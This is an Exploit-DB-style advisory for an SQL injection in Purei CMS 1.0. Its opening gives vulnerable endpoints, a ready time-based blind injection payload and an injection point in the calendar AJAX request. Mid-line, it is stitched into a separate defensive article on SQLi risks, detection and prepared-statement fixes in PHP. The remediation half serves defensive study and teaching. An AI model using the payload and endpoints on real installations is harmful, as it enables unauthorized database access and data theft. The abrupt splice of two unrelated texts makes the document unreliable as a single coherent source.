Purei CMS 1.0 - SQL Injection
# Exploit Title: Purei CMS 1.0 - SQL Injection
# Date: [27-03-2024]
# Exploit Author: [Number 7]
# Vendor Homepage: [purei.com]
# Version: [1.0]
# Tested on: [Linux]
____________________________________________________________________________________
Introduction:
An SQL injection vulnerability permits attackers to modify backend SQL statements through manipulation
of user input. Such an injection transpires when web applications accept user input directly inserted
into an SQL statement without effectively filtering out hazardous characters.
This could jeopardize the integrity of your database or reveal sensitive information.
____________________________________________________________________________________
Time-Based Blind SQL Injection:
Vulnerable files:
http://localhost/includes/getAllParks.php
http://localhost/includes/getSearchMap.php
make a POST request with the value of the am input set to :
if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/
make sure to url encode the inputs.
SQL injection:
Method: POST REQUEST
Vunerable file:
/includes/events-ajax.php?action=getMonth
data for the POST req:
month=3&type=&year=2024&cal_id=1[Inject Here] Purei CMS 1.0 — SQL Injection: Overview, Risks, and Mitigations
SQL injection (SQLi) remains one of the most serious web application vulnerabilities. In some earlier versions of Purei CMS, user-supplied POST parameters used by calendar/search and AJAX endpoints were reported to be processed directly in SQL statements without sufficient protection, creating a risk of SQL injection. This article explains the vulnerability class, real-world impact, safe detection approaches, and robust remediations you can apply to Purei or similar PHP-based applications.
What is SQL Injection?
SQL injection occurs when untrusted input is incorporated into SQL queries in a way that allows an attacker to change the intended query logic. Techniques range from extracting sensitive data to modifying or deleting records. Variants include classic (error-based), boolean-based blind, and time-based blind SQL injection. Time-based techniques rely on causing the database to sleep or delay to infer true/false conditions, but testing such techniques should only be done in authorized environments.
Why Purei CMS 1.0 Can Be Affected
Some PHP applications—including older CMS components that accept month/year/calendar identifiers or search parameters via POST—may construct SQL using string concatenation or interpolation. If those inputs are not validated, filtered, or bound to parameters, they can become vectors for injection. The problem is more likely on legacy code paths where developers used quick concatenation rather than prepared statements.
Potential Impact
- Unauthorized data disclosure (user lists, credentials, configuration).
- Data manipulation or deletion.
- Authentication bypass or privilege escalation in chained attacks.
- Persistence or remote code execution if the attacker can write to files or execute database features (e.g., SELECT ... INTO OUTFILE).
- Operational disruption and reputational damage.
Safe Detection and Assessment
- Start with code review: search for places where user input is concatenated into SQL strings in PHP, especially in include files and AJAX handlers.
- Use static analysis tools (RIPS, SonarQube, PHPStan with security plugins) to find patterns like string concatenation with $_POST/$_GET values used in query-building functions.
- Review database logs and slow-query logs for unexpected long-running statements or unusual parameter values.
- Perform authorized, non-destructive testing in a staging environment. Avoid running destructive payloads against production. Use input validation checks rather than inversion attempts.
- Integrate automated security scanners as part of CI/CD to flag risky patterns early.
Secure Coding Practices (Recommended Fixes)
The most reliable fixes combine input validation, parameterized queries, least-privilege database access, and safe error handling. Below are practical examples showing how to fix PHP code that interacts with MySQL.
// Example: Safe database access using PDO with prepared statements (PHP)
$dsn = 'mysql:host=127.0.0.1;dbname=yourdb;charset=utf8mb4';
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false, // use native prepares when possible
];
$pdo = new PDO($dsn, 'app_user', 'app_password', $options);
// Validate and cast inputs
$month = isset($_POST['month']) ? intval($_POST['month']) : 0;
$year = isset($_POST['year']) ? intval($_POST['year']) : 0;
$calId = isset($_POST['cal_id'])? intval($_POST['cal_id']): 0;
// Use parameterized query
$sql = 'SELECT id, title, start_date FROM events WHERE MONTH(start_date) = :month AND YEAR(start_date) = :year AND cal_id = :cal_id';
$stmt = $pdo->prepare($sql);
$stmt->execute([':month' => $month, ':year' => $year, ':cal_id' => $calId]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
Explanation: This code creates a PDO connection and uses a prepared statement with named parameters. Input values are validated and cast to integers before binding, preventing injection via those parameters. Setting PDO::ATTR_EMULATE_PREPARES to false helps ensure native prepared statements are used when supported by the driver.
// Example: mysqli with parameterized statements (PHP)
$mysqli = new mysqli('127.0.0.1', 'app_user', 'app_password', 'yourdb');
if ($mysqli->connect_error) { /* handle error */ }
$month = isset($_POST['month']) ? intval($_POST['month']) : 0;
$year = isset($_POST['year']) ? intval($_POST['year']) : 0;
$calId = isset($_POST['cal_id'])? intval($_POST['cal_id']): 0;
$stmt = $mysqli->prepare('SELECT id, title, start_date FROM events WHERE MONTH(start_date)=? AND YEAR(start_date)=? AND cal_id=?');
$stmt->bind_param('iii', $month, $year, $calId);
$stmt->execute();
$result = $stmt->get_result();
Explanation: This snippet shows the mysqli extension using prepared statements with bind_param. All values are passed as parameters and types are declared, preventing SQL injection via string concatenation.
Input Validation and Whitelisting
Validate inputs according to their expected type and range before binding. For numeric fields, cast to integers and enforce bounds. For enumerations, compare against an explicit whitelist.
// Example: Whitelist validation for a type parameter
$allowedTypes = ['basic', 'advanced', 'public'];
$type = isset($_POST['type']) ? $_POST['type'] : 'basic';
if (!in_array($type, $allowedTypes, true)) {
$type = 'basic';
}
// Use $type only after validating, and bind it if used in SQL
Explanation: Whitelisting reduces the attack surface by allowing only known-good values. If the value is used in SQL, bind it as a parameter rather than concatenating it into the query string.
Configuration and Operational Controls
- Use a database user with minimum required privileges (no DROP/FILE/GRANT unless needed).
- Disable multi-statement execution when possible to limit chained statements.
- Suppress verbose database error messages in production; log them securely instead.
- Harden PHP and web server configurations (disable dangerous functions, keep software patched).
- Implement a WAF with rules to catch common SQL injection patterns as an additional layer.
Testing and Continuous Validation
- Add unit and integration tests that assert queries use parameterized APIs rather than raw concatenation.
- Include security checks in the CI pipeline using static analysis and dependency scanning.
- Monitor application and DB logs for anomalous queries, long running statements, and error patterns.
Incident Response and Responsible Disclosure
If you find a vulnerability in an application you do not own, follow responsible disclosure: do not exploit it on production systems, report it to the vendor or owner with reproduction steps (in a staging environment), and allow time to patch. For owners of Purei CMS installations, apply updates, rotate credentials, and review logs for suspicious activity.
Summary Checklist
| Area | Action |
|---|---|
| Code | Use prepared statements; avoid string concatenation for SQL |
| Input Handling | Validate, cast, and whitelist expected inputs |
| Database | Use least-privilege accounts; disable unnecessary features |
| Operations | Patch promptly; monitor logs; use a WAF |
| Testing | Include security checks in CI/CD and perform authorized pentests |
Applying these measures will significantly reduce the risk of SQL injection in Purei CMS 1.0 and similar PHP applications. Focus on a defense-in-depth approach: secure coding, configuration, monitoring, and responsible testing.